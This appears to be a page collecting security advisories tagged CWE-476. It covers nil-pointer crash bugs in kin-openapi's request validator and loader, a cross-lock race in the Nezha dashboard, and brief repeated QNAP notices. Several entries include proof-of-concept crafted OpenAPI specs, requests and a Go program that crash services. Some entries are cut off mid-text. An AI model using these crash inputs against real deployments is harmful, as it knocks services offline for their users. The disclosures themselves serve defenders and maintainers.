Threats Tagged 'cwe-476'

## Summary The fix for GHSA-p6wj-qrr4-pgh5 addressed a nil-pointer dereference that occurs when an OpenAPI 3.1 array schema omits the `items` keyword (which is legal under JSON Schema 2020-12). That fix patched three decoder paths: the standalone `parseArray` function, the top-level array check in `UrlencodedBodyDecoder`, and `MultipartBodyDecoder`. Three additional crash paths were missed. All of them reach the unguarded `urlValuesDecoder.parseArray` method (`openapi3filter/req_resp_decoder.go:576`) or the unguarded array branch in `buildResObj` (line 1015): 1. **Query parameters** with `type: array` and no `items`. 2. **deepObject** query parameters containing an array property with no `items`. 3. **URL-encoded request bodies** where the array lives inside an `allOf` / `anyOf` / `oneOf` sub-schema. This path bypasses the guard added by the GHSA-p6wj-qrr4-pgh5 fix, because that guard only inspects top-level properties. Each path is triggerable by an unauthenticated client and produces a deterministic nil-pointer panic during request validation. ## Details ### Root Cause The three paths patched for GHSA-p6wj-qrr4-pgh5 each received a nil-`items` guard: ```go // standalone parseArray (line 1143) -- GUARDED func parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) { if schemaRef.Value.Items == nil || schemaRef.Value.Items.Value == nil { ... } // UrlencodedBodyDecoder top-level property loop (line 1441) -- GUARDED if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { ... } // MultipartBodyDecoder (line 1587) -- GUARDED if valueSchema.Value.Items == nil { ... } ``` But `urlValuesDecoder.parseArray` (line 576), which handles query-parameter and urlencoded-body array decoding, has **no** such guard: ```go func (d *urlValuesDecoder) parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) { var value []any for i, v := range raw { item, err := d.parseValue(v, schemaRef.Value.Items) // Items is nil -> panic in parseValue ``` `parseValue` immediately dereferences the schema it is handed: ```go func (d *urlValuesDecoder) parseValue(v string, schema *openapi3.SchemaRef) (any, error) { if len(schema.Value.AllOf) > 0 { // schema == nil here -> nil pointer dereference ``` For the deepObject path, `buildResObj` (line 1015) has the same gap. Its array branch recurses with `schema.Value.Items` (line 1028), which can be nil, and the recursive call dereferences it at line 1015: ```go case schema.Value.Type.Is("array"): // ... for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) // nil Items ``` For the allOf body path, `UrlencodedBodyDecoder` validates only top-level `schema.Value.Properties` (line 1429-1449). But `decodeSchemaConstructs` (line 1474) recursively walks `AllOf` / `AnyOf` / `OneOf` sub-schemas and calls `decodeProperty` on their properties, which never pass through the top-level guard and reach `urlValuesDecoder.parseArray`. ## Proof of Concept ### Environment - kin-openapi v0.144.0 (cloned at tag `v0.144.0`, commit `f0407d5`) - Go 1.26.7 - Each PoC calls `doc.Validate()` first to prove the spec is legal, then drives `openapi3filter.ValidateRequest` directly ### Path 1: Query parameter array without items Spec (query param `ids` is `type: array`, no `items`), request `GET /test?ids=1&ids=2`: ``` Validate() ACCEPTED the spec (type: array with no items is legal under OAS 3.1) Calling ValidateRequest directly (no net/http recover)... panic: runtime error: invalid memory address or nil pointer dereference [signal 0xc0000005 code=0x0 addr=0x20 ...] github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...) req_resp_decoder.go:605 github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...) req_resp_decoder.go:580 github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...) req_resp_decoder.go:569 ... github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) validate_request.go:83 exit status 2 ``` ### Path 2: deepObject nested array without items Spec (deepObject param `filter` with array property `tags`, no `items`), request `GET /test?filter[tags][0]=a`: ``` Validate() ACCEPTED the spec Calling ValidateRequest directly... panic: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.buildResObj(...) req_resp_decoder.go:1012 github.com/getkin/kin-openapi/openapi3filter.buildResObj(...) <- recursive call with nil Items req_resp_decoder.go:1028 github.com/getkin/kin-openapi/openapi3filter.makeObject(...) req_resp_decoder.go:947 ... exit status 2 ``` ### Path 3: URL-encoded body with array inside allOf (bypasses the existing fix) Spec (urlencoded body, `allOf` sub-schema with array property `tags`, no `items`), request `POST /submit` body `tags=a&tags=b`: ``` Validate() ACCEPTED the spec Calling ValidateRequest directly... panic: runtime error: invalid m

The defect ---------- Confirmed at HEAD (f0407d5, v0.144.0). openapi3/loader.go, inside resolveComponent's drill closure (around line 455), the case *SchemaRef branch for pathPart == "additionalProperties" dereferences c.Value.AdditionalProperties with no nil-check on c.Value: case *SchemaRef: if pathPart == "additionalProperties" { if ap := c.Value.AdditionalProperties.Has; ap != nil { // c.Value can be nil here cursor = *ap } else { cursor = c.Value.AdditionalProperties.Schema } attempted = true } When a $ref fragment drills through .../additionalProperties of a schema whose Value is still nil (a pure, not-yet-resolved $ref, or a self-reference resolved before its own Value is set), c.Value is nil and the .AdditionalProperties access panics. Input and attacker ------------------- A tiny crafted OpenAPI document, one schema, no external refs, no network: openapi: 3.0.3 info: {title: t, version: "1.0.0"} paths: {} components: schemas: A: $ref: '#/components/schemas/A/additionalProperties' Attacker model: any service or tool that loads an untrusted spec via the default openapi3.Loader (LoadFromData / LoadFromFile / LoadFromURI), e.g. a spec registry, an API-management platform ingesting user specs, a linter, or a converter. It crashes during LOAD (ResolveRefsIn), before Validate. Verification level ------------------ EXECUTED with negative controls (agent-run go test at HEAD f0407d5, including yesterday's security merge; the bug is still present). The full stack pins LoadFromData:196 -> ResolveRefsIn:274 -> resolveSchemaRef:1048 -> resolveComponent:485 -> drill:439 -> :455, propagating to main(); no recover() in loader.go/schema.go (grep + trace). Two negative controls stay clean: drilling additionalProperties of a resolved schema loads fine (the existing TestIssue376 happy path), and a normal recursive schema loads fine, so the nil Value is specifically the cause. I independently re-confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value. NOT verified: I did not enumerate every consumer's recover posture. Suggested fix ------------- Add if c.Value == nil { break } (fall through to the nil-safe drillIntoField) before touching c.Value.AdditionalProperties. One line. Also cleared (stated, not claimed) ---------------------------------- The allOf/anyOf $ref diamond does not blow up: Schema.validate threads its stack through the return and never pops it, acting as a global pointer-keyed visited-set (executed N=10..30, microseconds). External-ref SSRF/path-traversal is blocked by default (IsExternalRefsAllowed=false); the known custom-ReadFromURIFunc bypass is the already-banked downstream oasdiff item. Advisory-source note -------------------- Five-source enumeration: every kin-openapi advisory (CVE-2025-30153 plus the five fresh July-2026 GHSAs) is in openapi3filter (request validation); this finding is in the openapi3 loader, untouched by that systematic reporter and flagged un-analyzed by the prior oasdiff scout. Not contested on the loader surface as of today (a systematic hunter could pivot, so it decays; submit reasonably promptly). Dedup ----- Dedup gate clean: no kin-openapi loader verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE (the one DISCLOSURE-INDEX hit is report #313, the downstream oasdiff, a different repo/lane). Tooling ------- AI assistance was used while investigating. The panic is executed-verified with negative controls (a one-schema self-referential additionalProperties $ref crashes LoadFromData while a resolved additionalProperties and a normal recursive schema load fine), and I confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value, on a load path with no recover.

## Summary A single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified. ## Affected versions Confirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`. ## The bug The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker. The maps hold pointers, so a missing key returns nil and the first field write through it panics: ``` 73: serviceStatusToday map[uint64]*_TodayStatsOfService 74: serviceCurrentStatusData map[uint64]*serviceTaskStatus ``` The worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist: ``` 532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock 535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue } ``` For TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create: ``` 597: ss.serviceResponseDataStoreLock.Lock() 600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile 609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard ``` Meanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker: ``` 378: func (ss *ServiceSentinel) Delete(ids []uint64) { 387: delete(ss.serviceCurrentStatusData, id) 390: delete(ss.serviceStatusToday, id) ``` The precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location. Two supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request. ## Reachability Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely. ## Code flow ``` member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing} -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...}) -> serviceReportChannel -> single worker goroutine: Get(id) [servicesLock] present ......+ <- TOCTOU check (:532/:535) DB.Create(ServiceHistory) (gap) | | member HTTP: POST /api/v1/batch-delete/service | -> batchDeleteService (CheckPermission: own OK) | -> ServiceSentinel.Delete([id]) (synchronous) | [serviceResponseDataStoreLock] delete(serviceStatusToday,id) serviceResponseDataStoreLock.Lock() <-+ serviceStatusToday[id].Delay = ... <- id now absent -> nil deref -> SIGSEGV (:600) ``` ## Proof of concept Environment: dashboard built from `fd31e5f1`

### Summary A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit. ### Details **Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`. **Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421): ```go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic ``` This runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder). The same nil `Items` also crashes: | Path | Location | Trigger | |---|---|---| | `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property | | `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params | `Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application. **Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.: ```diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value ``` Apply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`. ### PoC Verified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`. **1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`: ```yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ``` **2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`: ```go package main import ( "fmt" "log" "net/http" "strings" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items) router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) } // Direct call (no net/http recover): proves the library itself panics. req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, _ := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECT_PANIC: %v\n", r) } }() _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{

A NULL pointer dereference vulnerability exists in kin-openapi prior to version 0.146.0. The issue occurs when openapi3filter.ValidateResponse passes a nil response header schema to decodeValue if an OpenAPI document declares the header with content instead of schema. This causes a panic during response validation even if the response does not contain the declared header. The vulnerability can cause application crashes and potentially impact availability. The issue is fixed in version 0.146.0.

A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5243 and later

A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5243 and later

A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5243 and later

A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 and later

A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 and later